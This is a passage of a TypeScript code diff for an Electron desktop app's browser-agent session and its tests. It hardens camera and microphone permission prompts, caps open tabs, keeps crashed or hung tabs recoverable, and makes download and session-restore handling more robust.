y: 50, width: 800, height: 600 }) + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + const callback = vi.fn() + requestHandler(contents, 'media', callback, { + isMainFrame: true, + mediaTypes: ['video'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + + const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents) + await session.respondToMediaPermission(prompt?.requestId ?? '', true) + + expect(systemPreferences.askForMediaAccess).toHaveBeenCalledWith('camera') + expect(callback).toHaveBeenCalledWith(false) + } finally { + setPlatform(realPlatform) + vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('granted') + vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(true) + } + }) + + it('fails a media prompt closed when the user does not answer it', async () => { + vi.useFakeTimers() + try { + win.isFocused = vi.fn(() => true) + panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 }) + const tab = session.ensureTab() + const contents = (tab.view as unknown as MockView).webContents + contents.isFocused.mockReturnValue(true) + const gestureHandler = contents.on.mock.calls.find( + ([eventName]) => eventName === 'before-mouse-event' + )?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined + gestureHandler?.({}, { type: 'mouseDown' }) + const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as ( + wc: unknown, + permission: string, + callback: (granted: boolean) => void, + details?: unknown + ) => void + const callback = vi.fn() + requestHandler(contents, 'media', callback, { + isMainFrame: true, + mediaTypes: ['audio'], + requestingUrl: 'https://example.com/', + securityOrigin: 'https://example.com', + }) + + await vi.advanceTimersByTimeAsync(30_000) + + expect(callback).toHaveBeenCalledWith(false) + expect( + session.mediaPermissionRequestForContents(contents as unknown as WebContents) + ).toBeUndefined() + } finally { + vi.useRealTimers() + } + }) + it('leaves nothing of the signed-out user behind in the browser profile', async () => { const clearStorageData = vi.fn(async () => {}) const clearCache = vi.fn(async () => {}) @@ -1888,7 +2421,7 @@ describe('browser-agent session', () => { ) }) - it('drops a tab whose renderer crashed instead of wedging the session', () => { + it('keeps a crashed tab recoverable without disturbing sibling tabs', () => { const first = session.ensureTab() const second = session.addTab() const crashed = (second.view as unknown as MockView).webContents @@ -1898,14 +2431,17 @@ describe('browser-agent session', () => { onGone({}, { reason: 'crashed' }) - // Left in place, activeTab() filters the dead view out while activeTabId - // still names it, so requireTab() reports "no page is open" even though - // another tab is right there. - expect(session.listTabs().map((tab) => tab.tabId)).toEqual([first.id]) - expect(session.requireTab().id).toBe(first.id) + expect(session.listTabs()).toEqual([ + expect.objectContaining({ tabId: first.id }), + expect.objectContaining({ + tabId: second.id, + issue: expect.objectContaining({ kind: 'crashed', reason: 'crashed' }), + }), + ]) + expect(session.requireTab().id).toBe(second.id) }) - it('reports the session closed when the only tab crashes', async () => { + it('keeps the only crashed tab open for recovery', async () => { const onSessionClosed = vi.fn() session = freshSession(win, { onSessionClosed }) const contents = (session.ensureTab().view as unknown as MockView).webContents @@ -1915,8 +2451,12 @@ describe('browser-agent session', () => { onGone({}, { reason: 'oom' }) - expect(session.listTabs()).toHaveLength(0) - expect(onSessionClosed).toHaveBeenCalled() + expect(session.listTabs()).toEqual([ + expect.objectContaining({ + issue: expect.objectContaining({ kind: 'crashed', reason: 'oom' }), + }), + ]) + expect(onSessionClosed).not.toHaveBeenCalled() }) it('hides the panel when the renderer stops renewing its bounds lease', async () => { @@ -2059,6 +2599,41 @@ describe('browser-agent session', () => { state: 'completed', }) }) + + it('does not recreate a disposed scope when a download finishes later', () => { + const directory = mkdtempSync(join(tmpdir(), 'sim-browser-downloads-')) + const { persistence, snapshots } = memoryBrowserPersistence() + session = freshSession(win, {}, persistence, { getDirectory: () => directory }) + const contents = (session.ensureTab().view as unknown as MockView).webContents + const webSession = contents.session as typeof contents.session & { + on: ReturnType + } + const willDownload = webSession.on.mock.calls.find( + ([eventName]) => eventName === 'will-download' + )?.[1] as + | ((event: unknown, item: Record, contents: unknown) => void) + | undefined + const item = { + getFilename: vi.fn(() => 'late.txt'), + getMimeType: vi.fn(() => 'text/plain'), + getReceivedBytes: vi.fn(() => 4), + getTotalBytes: vi.fn(() => 4), + setSavePath: vi.fn(), + cancel: vi.fn(), + on: vi.fn(), + once: vi.fn(), + } + willDownload?.({}, item, contents) + const done = item.once.mock.calls.find(([eventName]) => eventName === 'done')?.[1] as + | ((event: unknown, state: 'completed') => void) + | undefined + + session.disposeBrowserScope('chat-test') + done?.({}, 'completed') + + expect(session.getBrowserDownloadsState('chat-test').downloads).toEqual([]) + expect(snapshots.has('chat-test')).toBe(false) + }) }) /** diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts index 08f91419f96..9d5c041a700 100644 --- a/apps/desktop/src/main/browser-agent/session.ts +++ b/apps/desktop/src/main/browser-agent/session.ts @@ -5,7 +5,10 @@ import type { BrowserDataKind, BrowserFindRequest, BrowserFindResult, + BrowserMediaDevice, + BrowserMediaPermissionRequest, BrowserOmniboxFocusMode, + BrowserPageIssue, BrowserTabState, BrowserTabsState, BrowserTheme, @@ -86,6 +89,25 @@ export interface AgentTab { view: WebContentsView pinned: boolean pendingRestoreUrl?: string + pageIssue?: BrowserPageIssue + syntheticForward?: { url: string; baseHistoryIndex: number } + preserveSyntheticForwardOnNextNavigation?: boolean + recoveringUnresponsive?: boolean + pendingMediaPermission?: PendingMediaPermission + mediaPermissionGrant?: MediaPermissionGrant + lastRealUserGestureAt?: number +} + +interface PendingMediaPermission { + request: BrowserMediaPermissionRequest + documentUrl: string + callback: (permissionGranted: boolean) => void + timeout: ReturnType +} + +interface MediaPermissionGrant { + origin: string + devices: Set } export interface BrowserSessionPersistence { @@ -116,6 +138,8 @@ export interface AgentSessionEvents { onTabClosed: (contents: WebContents) => void /** The active tab changed (new tab, switch, close). */ onActiveTabChanged: (contents: WebContents) => void + /** The active tab's recoverable page state changed without a navigation. */ + onPageStateChanged: (contents: WebContents) => void /** The tab list or active tab changed. */ onTabsChanged: () => void /** Sim's appearance preference changed for an existing tab. */ @@ -132,6 +156,10 @@ export interface AgentSessionEvents { * must never outlive the reports. */ const MAX_RECENTLY_CLOSED_TABS = 10 +const MAX_LIVE_TABS_PER_SCOPE = 32 +const MAX_LIVE_TABS_GLOBAL = 96 +const MEDIA_PERMISSION_GESTURE_WINDOW_MS = 10_000 +const MEDIA_PERMISSION_PROMPT_TIMEOUT_MS = 30_000 export type BrowserShortcut = 'focus-omnibox' | 'new-tab' | 'close-tab' | 'find' @@ -222,6 +250,23 @@ function createBrowserScopeState(): BrowserScopeState { } } +function liveBrowserTabCount(): number { + let count = 0 + for (const state of browserScopeStates.values()) count += state.tabs.length + return count +} + +function assertTabCapacity(): void { + if (tabs.length >= MAX_LIVE_TABS_PER_SCOPE) { + throw new SessionError(`A task browser can have at most ${MAX_LIVE_TABS_PER_SCOPE} open tabs.`) + } + if (liveBrowserTabCount() >= MAX_LIVE_TABS_GLOBAL) { + throw new SessionError( + `Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.` + ) + } +} + const browserScopeStorage = new AsyncLocalStorage() const browserScopeStates = new Map() const browserScopeAliases = new Map() @@ -827,18 +872,9 @@ export async function importAgentCookies( */ const ALLOWED_SITE_PERMISSIONS = new Set(['clipboard-sanitized-write']) -/** - * Grants a getUserMedia request only when macOS has actually authorized the - * devices it names. Granting site permission without the OS grant makes the - * page fail with a misleading NotReadableError instead of a permission prompt, - * and macOS kills the process outright when the bundle lacks usage strings — - * so the OS is asked FIRST, which surfaces the system prompt on first use. - */ -async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): Promise { +async function ensureOsMediaAccess(devices: readonly BrowserMediaDevice[]): Promise { if (process.platform !== 'darwin') return true - const wanted = mediaTypes && mediaTypes.length > 0 ? mediaTypes : ['audio', 'video'] - for (const type of wanted) { - const device = type === 'video' ? 'camera' : 'microphone' + for (const device of devices) { if (systemPreferences.getMediaAccessStatus(device) === 'granted') continue const granted = await systemPreferences.askForMediaAccess(device).catch(() => false) if (!granted) return false @@ -846,38 +882,220 @@ async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): P return true } +function mediaOrigin(candidate: unknown): string | null { + if (typeof candidate !== 'string' || candidate.length > 8_192) return null + try { + const url = new URL(candidate) + return url.protocol === 'https:' || url.protocol === 'http:' ? url.origin : null + } catch { + return null + } +} + +function requestedMediaDevices(candidate: unknown): BrowserMediaDevice[] | null { + if (!Array.isArray(candidate) || candidate.length === 0) return null + const devices = new Set() + for (const type of candidate) { + if (type === 'audio') devices.add('microphone') + else if (type === 'video') devices.add('camera') + else return null + } + return [...devices] +} + +function scopedTabForContents(contents: WebContents): { scopeId: string; tab: AgentTab } | null { + const scopeId = browserScopeIdForContents(contents) + if (!scopeId) return null + const tab = browserScopeStates + .get(scopeId) + ?.tabs.find((candidate) => candidate.view.webContents === contents) + return tab ? { scopeId, tab } : null +} + +function mediaRequestIsUserInitiated(scopeId: string, tab: AgentTab): boolean { + const win = panelWindow() + return ( + resolveBrowserScopeId(scopeId) === getActiveBrowserScopeId() && + browserScopeStates.get(scopeId)?.activeTabId === tab.id && + isPanelVisible() && + Boolean(win && !win.isDestroyed() && win.isFocused()) && + tab.view.webContents.isFocused() && + typeof tab.lastRealUserGestureAt === 'number' && + Date.now() - tab.lastRealUserGestureAt <= MEDIA_PERMISSION_GESTURE_WINDOW_MS + ) +} + +function settleMediaPermission(tab: AgentTab, allowed: boolean): boolean { + const pending = tab.pendingMediaPermission + if (!pending) return false + tab.pendingMediaPermission = undefined + clearTimeout(pending.timeout) + try { + pending.callback(allowed) + } catch (error) { + logger.warn('Could not answer a browser media permission request', { + error: getErrorMessage(error), + }) + } + return true +} + +function revokeTabMediaPermissions(tab: AgentTab, publish = true): void { + const hadPrompt = settleMediaPermission(tab, false) + tab.mediaPermissionGrant = undefined + tab.lastRealUserGestureAt = undefined + if (hadPrompt && publish) publishPageIssue(tab) +} + +/** Pending prompt metadata for the renderer-owned permission bubble. */ +export function mediaPermissionRequestForContents( + contents: WebContents +): BrowserMediaPermissionRequest | undefined { + return tabForContents(contents)?.pendingMediaPermission?.request +} + +/** Applies the user's response only to the exact live document that requested it. */ +export async function respondToMediaPermission(requestId: string, allowed: boolean): Promise { + const tab = activeTab() + const pending = tab?.pendingMediaPermission + if (!tab || !pending || pending.request.requestId !== requestId) return + + if (!allowed) { + settleMediaPermission(tab, false) + publishPageIssue(tab) + return + } + + const contents = tab.view.webContents + const currentOrigin = mediaOrigin(contents.getURL()) + if ( + currentOrigin !== pending.request.origin || + contents.getURL() !== pending.documentUrl || + getBrowserScopeId() !== getActiveBrowserScopeId() || + !isPanelVisible() + ) { + settleMediaPermission(tab, false) + publishPageIssue(tab) + return + } + + const osAllowed = await ensureOsMediaAccess(pending.request.devices) + if ( + tab.pendingMediaPermission !== pending || + tab.view.webContents.isDestroyed() || + mediaOrigin(contents.getURL()) !== pending.request.origin || + contents.getURL() !== pending.documentUrl || + tab.id !== currentScope.activeTabId || + getBrowserScopeId() !== getActiveBrowserScopeId() || + !isPanelVisible() + ) { + if (tab.pendingMediaPermission === pending) { + settleMediaPermission(tab, false) + publishPageIssue(tab) + } + return + } + + if (osAllowed) { + tab.mediaPermissionGrant = { + origin: pending.request.origin, + devices: new Set(pending.request.devices), + } + } + settleMediaPermission(tab, osAllowed) + publishPageIssue(tab) +} + /** * Default-deny hardening for the agent partition. Site permissions remain - * denied apart from ALLOWED_SITE_PERMISSIONS and camera/microphone — the agent - * browser has to join a Google Meet or a Zoom web client like a real browser, - * and those are dead without getUserMedia. The OS grant still gates every - * media request, so the user's System Settings choice is the real authority. + * denied apart from ALLOWED_SITE_PERMISSIONS. Media is granted only after a + * renderer-owned, document-scoped prompt validates the requesting origin, + * active visible tab, recent native user input, and operating-system grant. * Uploads use Chromium's native file chooser and downloads are saved into the * device-level browser download directory. */ function configureAgentPartition(ses: Session): void { if (configuredPartitions.has(ses)) return configuredPartitions.add(ses) - ses.setPermissionRequestHandler((_wc, permission, callback, details) => { + ses.setPermissionRequestHandler((contents, permission, callback, details) => { if (permission === 'media') { - const mediaTypes = (details as { mediaTypes?: readonly string[] })?.mediaTypes - void ensureOsMediaAccess(mediaTypes).then(callback) + const scoped = scopedTabForContents(contents) + const request = details as { + isMainFrame?: boolean + mediaTypes?: readonly string[] + requestingUrl?: string + securityOrigin?: string + } + const devices = requestedMediaDevices(request.mediaTypes) + const requestingOrigin = mediaOrigin(request.requestingUrl) + const securityOrigin = mediaOrigin(request.securityOrigin) + const currentOrigin = mediaOrigin(contents.getURL()) + if ( + !scoped || + request.isMainFrame !== true || + !devices || + !requestingOrigin || + (securityOrigin !== null && securityOrigin !== requestingOrigin) || + currentOrigin !== requestingOrigin || + !mediaRequestIsUserInitiated(scoped.scopeId, scoped.tab) + ) { + callback(false) + return + } + + revokeTabMediaPermissions(scoped.tab, false) + const prompt: BrowserMediaPermissionRequest = { + requestId: generateId(), + origin: requestingOrigin, + devices, + } + scoped.tab.pendingMediaPermission = { + request: prompt, + documentUrl: contents.getURL(), + callback, + timeout: setTimeout( + bindToBrowserScope(scoped.scopeId, () => { + if (scoped.tab.pendingMediaPermission?.request.requestId !== prompt.requestId) return + settleMediaPermission(scoped.tab, false) + publishPageIssue(scoped.tab) + }), + MEDIA_PERMISSION_PROMPT_TIMEOUT_MS + ), + } + const win = panelWindow() + if (win && !win.isDestroyed()) win.webContents.focus() + withBrowserScope(scoped.scopeId, () => publishPageIssue(scoped.tab)) return } callback(ALLOWED_SITE_PERMISSIONS.has(permission)) }) - ses.setPermissionCheckHandler((_wc, permission, _origin, details) => { + ses.setPermissionCheckHandler((contents, permission, requestingOrigin, details) => { if (permission === 'media') { - if (process.platform !== 'darwin') return true - const mediaType = (details as { mediaType?: string })?.mediaType - if (mediaType === 'video') - return systemPreferences.getMediaAccessStatus('camera') === 'granted' - if (mediaType === 'audio') { - return systemPreferences.getMediaAccessStatus('microphone') === 'granted' - } - return ( - systemPreferences.getMediaAccessStatus('microphone') === 'granted' || - systemPreferences.getMediaAccessStatus('camera') === 'granted' + if (!contents || details.isMainFrame !== true) return false + const scoped = scopedTabForContents(contents) + const grant = scoped?.tab.mediaPermissionGrant + const checkedOrigins = [ + mediaOrigin(details.securityOrigin), + mediaOrigin(requestingOrigin), + mediaOrigin(details.requestingUrl), + ].filter((origin): origin is string => origin !== null) + const currentOrigin = mediaOrigin(contents.getURL()) + const device = + details.mediaType === 'audio' + ? 'microphone' + : details.mediaType === 'video' + ? 'camera' + : null + return Boolean( + scoped && + grant && + device && + checkedOrigins.length > 0 && + checkedOrigins.every((origin) => origin === grant.origin) && + currentOrigin === grant.origin && + grant.devices.has(device) && + (process.platform !== 'darwin' || + systemPreferences.getMediaAccessStatus(device) === 'granted') ) } return ALLOWED_SITE_PERMISSIONS.has(permission) @@ -976,17 +1194,33 @@ function configureAgentPartition(ses: Session): void { publishBrowserDownloads(scopeId) logger.info('Agent browser download started', { filename }) item.on('updated', (_updatedEvent, state) => { + const liveScopeId = resolveBrowserScopeId(scopeId) + if ( + suspendedBrowserScopes.has(liveScopeId) || + !browserScopeStates.has(liveScopeId) || + !browserDownloadsByScope.get(liveScopeId)?.includes(download) + ) { + return + } updateDownloadProgress(download, item) download.state = state === 'interrupted' ? 'interrupted' : 'progressing' - publishBrowserDownloads(scopeId) + publishBrowserDownloads(liveScopeId) }) item.once('done', (_doneEvent, state) => { activeDownloadPaths.delete(savePath) + const liveScopeId = resolveBrowserScopeId(scopeId) + if ( + suspendedBrowserScopes.has(liveScopeId) || + !browserScopeStates.has(liveScopeId) || + !browserDownloadsByScope.get(liveScopeId)?.includes(download) + ) { + return + } updateDownloadProgress(download, item) download.state = state - trimBrowserDownloads(scopeId) - publishBrowserDownloads(scopeId) - withBrowserScope(scopeId, persistBrowserSession) + trimBrowserDownloads(liveScopeId) + publishBrowserDownloads(liveScopeId) + withBrowserScope(liveScopeId, persistBrowserSession) if (state === 'completed') { logger.info('Agent browser download completed', { filename }) if (process.platform === 'darwin') app.dock?.downloadFinished(savePath) @@ -1005,6 +1239,128 @@ function focusRendererOmnibox(mode: BrowserOmniboxFocusMode): void { win.webContents.send('browser-agent:focus-omnibox', mode, getBrowserScopeId()) } +function tabForContents(contents: WebContents): AgentTab | null { + return tabs.find((tab) => tab.view.webContents === contents) ?? null +} + +function publishPageIssue(tab: AgentTab, focusRecovery = false): void { + events?.onTabsChanged() + if (tab.id !== currentScope.activeTabId) return + if (focusRecovery && getBrowserScopeId() === getActiveBrowserScopeId() && isPanelVisible()) { + const win = panelWindow() + if (win && !win.isDestroyed()) win.webContents.focus() + } + events?.onPageStateChanged(tab.view.webContents) +} + +/** Returns the recoverable problem currently replacing a tab's native page. */ +export function pageIssueForContents(contents: WebContents): BrowserPageIssue | undefined { + return tabForContents(contents)?.pageIssue +} + +/** Records a failed main-frame navigation without losing the last committed page. */ +export function recordPageLoadFailure( + contents: WebContents, + issue: Extract +): void { + const tab = tabForContents(contents) + if (!tab) return + tab.pageIssue = issue + tab.syntheticForward = undefined + publishPageIssue(tab, true) +} + +/** Clears transient recovery state when Chromium begins loading a new document. */ +export function notePageLoadStarted(contents: WebContents): void { + const tab = tabForContents(contents) + if (!tab) return + const changed = Boolean(tab.pageIssue) + tab.pageIssue = undefined + if (changed) publishPageIssue(tab) +} + +function notePageNavigationStarted(contents: WebContents): void { + const tab = tabForContents(contents) + if (!tab) return + if (tab.preserveSyntheticForwardOnNextNavigation) { + tab.preserveSyntheticForwardOnNextNavigation = false + } else { + tab.syntheticForward = undefined + } +} + +/** Includes Sim's failed-navigation entry in the browser's Back availability. */ +export function canGoBack(contents: WebContents): boolean { + return ( + pageIssueForContents(contents)?.kind === 'load-error' || contents.navigationHistory.canGoBack() + ) +} + +/** Includes a dismissed failed navigation in the browser's Forward availability. */ +export function canGoForward(contents: WebContents): boolean { + return ( + Boolean(tabForContents(contents)?.syntheticForward) || contents.navigationHistory.canGoForward() + ) +} + +/** Traverses backward while preserving a failed navigation as a forward entry. */ +export function goBack(contents: WebContents): boolean { + const tab = tabForContents(contents) + if (!tab) return false + if (tab.pageIssue?.kind === 'load-error') { + tab.syntheticForward = { + url: tab.pageIssue.url, + baseHistoryIndex: contents.navigationHistory.getActiveIndex(), + } + tab.pageIssue = undefined + publishPageIssue(tab) + return true + } + if (!contents.navigationHistory.canGoBack()) return false + tab.preserveSyntheticForwardOnNextNavigation = Boolean(tab.syntheticForward) + contents.navigationHistory.goBack() + return true +} + +/** Traverses forward through native history before retrying a failed navigation. */ +export function goForward(contents: WebContents): boolean { + const tab = tabForContents(contents) + if (!tab) return false + const syntheticForward = tab.syntheticForward + if (syntheticForward) { + if ( + contents.navigationHistory.getActiveIndex() < syntheticForward.baseHistoryIndex && + contents.navigationHistory.canGoForward() + ) { + tab.preserveSyntheticForwardOnNextNavigation = true + contents.navigationHistory.goForward() + return true + } + tab.syntheticForward = undefined + void contents.loadURL(syntheticForward.url).catch(() => {}) + return true + } + if (!contents.navigationHistory.canGoForward()) return false + contents.navigationHistory.goForward() + return true +} + +/** Retries the appropriate recovery path for a failed, crashed, or hung page. */ +export function reloadPage(contents: WebContents): void { + const tab = tabForContents(contents) + const issue = tab?.pageIssue + if (issue?.kind === 'load-error') { + void contents.loadURL(issue.url).catch(() => {}) + return + } + if (issue?.kind === 'unresponsive' && tab) { + tab.recoveringUnresponsive = true + contents.forcefullyCrashRenderer() + return + } + contents.reload() +} + /** Hands one page selection to the exact app window and chat hosting its tab. */ function addPageSelectionToChat(contents: WebContents, text: string): void { if (!text.trim() || getBrowserScopeId() !== getActiveBrowserScopeId()) return @@ -1165,6 +1521,15 @@ function createTabView(): WebContentsView { zoomFactor: getBrowserDefaultZoomFactor(), }, }) + try { + return initializeTabView(view, scopeId) + } catch (error) { + if (!view.webContents.isDestroyed()) view.webContents.close() + throw error + } +} + +function initializeTabView(view: WebContentsView, scopeId: string): WebContentsView { view.setBackgroundColor(browserBackgroundColor()) const contents = view.webContents registerAgentWebContents(contents) @@ -1200,7 +1565,10 @@ function createTabView(): WebContentsView { return } const tab = tabs.find((entry) => entry.view.webContents === contents) - if (tab?.id === currentScope.activeTabId) currentScope.visibleTabUserSelected = true + if (tab?.id === currentScope.activeTabId) { + currentScope.visibleTabUserSelected = true + if (mouse.type === 'mouseDown') tab.lastRealUserGestureAt = Date.now() + } }) ) contents.on( @@ -1245,17 +1613,49 @@ function createTabView(): WebContentsView { contents.on('will-prevent-unload', (event) => { event.preventDefault() }) - // A crashed renderer would otherwise stay in `tabs` forever: `activeTab()` - // filters it out and returns null while `activeTabId` still names it, so - // `requireTab()` reports "no page is open" even with other tabs open, and - // the panel goes blank with no way back. contents.on( 'render-process-gone', bindToBrowserScope(scopeId, (_event, details) => { const tab = tabs.find((entry) => entry.view === view) if (!tab) return - logger.warn('Browser tab renderer exited; dropping the tab', { reason: details.reason }) - forgetTab(tab) + if (tab.recoveringUnresponsive) { + tab.recoveringUnresponsive = false + contents.reload() + return + } + dismissFind(tab.id) + revokeTabMediaPermissions(tab, false) + tab.pageIssue = { + kind: 'crashed', + reason: details.reason, + url: tab.pendingRestoreUrl || contents.getURL(), + } + tab.syntheticForward = undefined + logger.warn('Browser tab renderer exited', { reason: details.reason }) + publishPageIssue(tab, true) + }) + ) + contents.on( + 'unresponsive', + bindToBrowserScope(scopeId, () => { + const tab = tabs.find((entry) => entry.view === view) + if (!tab || tab.pageIssue?.kind === 'crashed') return + dismissFind(tab.id) + revokeTabMediaPermissions(tab, false) + tab.pageIssue = { + kind: 'unresponsive', + url: tab.pendingRestoreUrl || contents.getURL(), + } + publishPageIssue(tab, true) + }) + ) + contents.on( + 'responsive', + bindToBrowserScope(scopeId, () => { + const tab = tabs.find((entry) => entry.view === view) + if (!tab || tab.pageIssue?.kind !== 'unresponsive') return + tab.pageIssue = undefined + publishPageIssue(tab) }) ) contents.on( @@ -1264,6 +1664,7 @@ function createTabView(): WebContentsView { const tab = tabs.find((entry) => entry.view === view) if (!isDispatchingAgentInput(contents) && tab?.id === currentScope.activeTabId) { currentScope.visibleTabUserSelected = true + if (input.type === 'keyDown' && !input.isAutoRepeat) tab.lastRealUserGestureAt = Date.now() } const shortcut = browserShortcutForInput(input) if (!shortcut) return @@ -1344,6 +1745,9 @@ function createTabView(): WebContentsView { 'did-start-navigation', bindToBrowserScope(scopeId, (details) => { if (!details.isMainFrame) return + const tab = tabs.find((entry) => entry.view === view) + if (tab) revokeTabMediaPermissions(tab) + notePageNavigationStarted(contents) events?.onTabNavigated(contents, false) }) ) @@ -1359,7 +1763,11 @@ function createTabView(): WebContentsView { ) contents.on( 'destroyed', - bindToBrowserScope(scopeId, () => events?.onTabClosed(contents)) + bindToBrowserScope(scopeId, () => { + const tab = tabs.find((entry) => entry.view === view) + if (tab) revokeTabMediaPermissions(tab, false) + events?.onTabClosed(contents) + }) ) events?.onTabCreated(contents) @@ -1544,6 +1952,8 @@ function addTabInternal({ activate = true, notify = true, }: AddTabOptions = {}): AgentTab { + assertTabCapacity() + const previousActiveTab = activeTab() const transferBrowserFocus = activate && (currentScope.focusedBrowserTabId !== null || @@ -1557,6 +1967,9 @@ function addTabInternal({ insertPinnedAware(tab) if (currentScope.automationTabId === null) currentScope.automationTabId = tab.id if (activate || currentScope.activeTabId === null) { + if (previousActiveTab && previousActiveTab.id !== tab.id) { + revokeTabMediaPermissions(previousActiveTab, false) + } currentScope.activeTabId = tab.id applyActiveTabThrottling() if (!currentScope.restoring) layout() @@ -1570,6 +1983,30 @@ function addTabInternal({ return tab } +function closeTabAfterFailedRestore(tab: AgentTab): void { + try { + revokeTabMediaPermissions(tab, false) + } catch (error) { + logger.warn('Could not revoke media permissions after browser restore failed', { + error: getErrorMessage(error), + }) + } + try { + detachIfAttached(tab.view) + } catch (error) { + logger.warn('Could not detach browser tab after browser restore failed', { + error: getErrorMessage(error), + }) + } + try { + if (!tab.view.webContents.isDestroyed()) tab.view.webContents.close() + } catch (error) { + logger.warn('Could not close browser tab after browser restore failed', { + error: getErrorMessage(error), + }) + } +} + /** Marks the visible page as user-selected without blocking automation on it. */ export function claimActiveTabForUser(): AgentTab | null { const tab = activeTab() @@ -1591,8 +2028,6 @@ export function restoreBrowserSession(): void { } if (currentScope.restored) return currentScope.activationOnly = false - currentScope.restored = true - currentScope.restoring = true const scopeId = getBrowserScopeId() let snapshot: BrowserSessionSnapshot | null = null @@ -1606,28 +2041,91 @@ export function restoreBrowserSession(): void { } } - const restoredTabs: AgentTab[] = [] + const selectedIndexes = new Set() if (snapshot) { - browserDownloadsByScope.set( - scopeId, - snapshot.downloads.map((download) => ({ ...download })) + for ( + let index = 0; + index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE; + index++ + ) { + if (snapshot.tabs[index]?.pinned) selectedIndexes.add(index) + } + if (selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE && snapshot.tabs[snapshot.activeIndex]) { + selectedIndexes.add(snapshot.activeIndex) + } + for ( + let index = 0; + index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE; + index++ + ) { + selectedIndexes.add(index) + } + } + const selectedEntries = snapshot + ? [...selectedIndexes] + .sort((left, right) => left - right) + .map((index) => ({ entry: snapshot.tabs[index], sourceIndex: index })) + : [] + const availableSlots = Math.max(0, MAX_LIVE_TABS_GLOBAL - liveBrowserTabCount()) + if (selectedEntries.length > availableSlots) { + throw new SessionError( + `Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.` ) - publishBrowserDownloads(scopeId) - for (const entry of snapshot.tabs) { - const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false }) - tab.pendingRestoreUrl = entry.url - restoredTabs.push(tab) - if (entry.url !== 'about:blank') { - void tab.view.webContents.loadURL(entry.url).catch(() => {}) + } + + const state = browserScopeState(scopeId) + const previousState = { + tabs: [...state.tabs], + activeTabId: state.activeTabId, + automationTabId: state.automationTabId, + nextTabId: state.nextTabId, + restored: state.restored, + lastPersistedSnapshot: state.lastPersistedSnapshot, + } + const previousDownloads = browserDownloadsByScope.get(scopeId) + const restoredTabs: AgentTab[] = [] + state.restoring = true + try { + if (snapshot) { + browserDownloadsByScope.set( + scopeId, + snapshot.downloads.map((download) => ({ ...download })) + ) + for (const { entry } of selectedEntries) { + const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false }) + tab.pendingRestoreUrl = entry.url + restoredTabs.push(tab) + if (entry.url !== 'about:blank') { + void tab.view.webContents.loadURL(entry.url).catch(() => {}) + } } + const restoredActiveIndex = selectedEntries.findIndex( + ({ sourceIndex }) => sourceIndex === snapshot.activeIndex + ) + state.activeTabId = restoredTabs[restoredActiveIndex]?.id ?? restoredTabs[0]?.id ?? null + state.automationTabId = state.activeTabId + state.lastPersistedSnapshot = JSON.stringify(browserSessionSnapshot()) } - currentScope.activeTabId = restoredTabs[snapshot.activeIndex]?.id ?? restoredTabs[0]?.id ?? null - currentScope.automationTabId = currentScope.activeTabId - currentScope.lastPersistedSnapshot = JSON.stringify(snapshot) + + state.restored = true + } catch (error) { + for (const tab of restoredTabs) closeTabAfterFailedRestore(tab) + state.tabs = previousState.tabs + state.activeTabId = previousState.activeTabId + state.automationTabId = previousState.automationTabId + state.nextTabId = previousState.nextTabId + state.restored = previousState.restored + state.lastPersistedSnapshot = previousState.lastPersistedSnapshot + if (previousDownloads) browserDownloadsByScope.set(scopeId, previousDownloads) + else browserDownloadsByScope.delete(scopeId) + applyActiveTabThrottling() + throw error + } finally { + state.restoring = false } - currentScope.restoring = false applyActiveTabThrottling() + if (snapshot) publishBrowserDownloads(scopeId) const active = activeTab() if (active) { layout() @@ -1744,6 +2242,10 @@ export function switchTab(tabId: string): AgentTab { const transferBrowserFocus = currentScope.focusedBrowserTabId !== null || tabs.some((entry) => entry.view.webContents.isFocused()) + const previousActiveTab = activeTab() + if (previousActiveTab && previousActiveTab.id !== tab.id) { + revokeTabMediaPermissions(previousActiveTab, false) + } currentScope.activeTabId = tab.id currentScope.visibleTabUserSelected = true // Visible selection does not move the automation exemption; the user may @@ -1795,49 +2297,6 @@ export function reorderTab(tabId: string, targetIndex: number): AgentTab { return tab } -/** - * Drops a tab whose renderer is already gone. Unlike {@link closeTab} this - * takes no view down (there is nothing left to close), applies to pinned tabs - * too — a crashed pinned tab is no more usable than any other — and does not - * offer the page for Reopen Closed Tab, since the user did not close it. - */ -function forgetTab(tab: AgentTab): void { - const index = tabs.indexOf(tab) - if (index < 0) return - // Before the splice, while the tab is still resolvable: a find left running - // on a tab that is going away keeps `findingTabId` naming a dead tab and - // leaves the bar open counting matches on a page nobody can see. - dismissFind(tab.id) - clearAutomationIndicatorsForTab(tab.id) - tabs.splice(index, 1) - const transferBrowserFocus = currentScope.focusedBrowserTabId === tab.id - clearFocusedBrowserTab(tab.id) - detachIfAttached(tab.view) - if (currentScope.activeTabId === tab.id) { - currentScope.activeTabId = (tabs[index] ?? tabs[index - 1])?.id ?? null - layout() - const active = activeTab() - if (active) { - events?.onActiveTabChanged(active.view.webContents) - } - } - if (currentScope.automationTabId === tab.id) { - currentScope.automationTabId = (tabs[index] ?? tabs[index - 1])?.id ?? null - applyActiveTabThrottling() - } - if 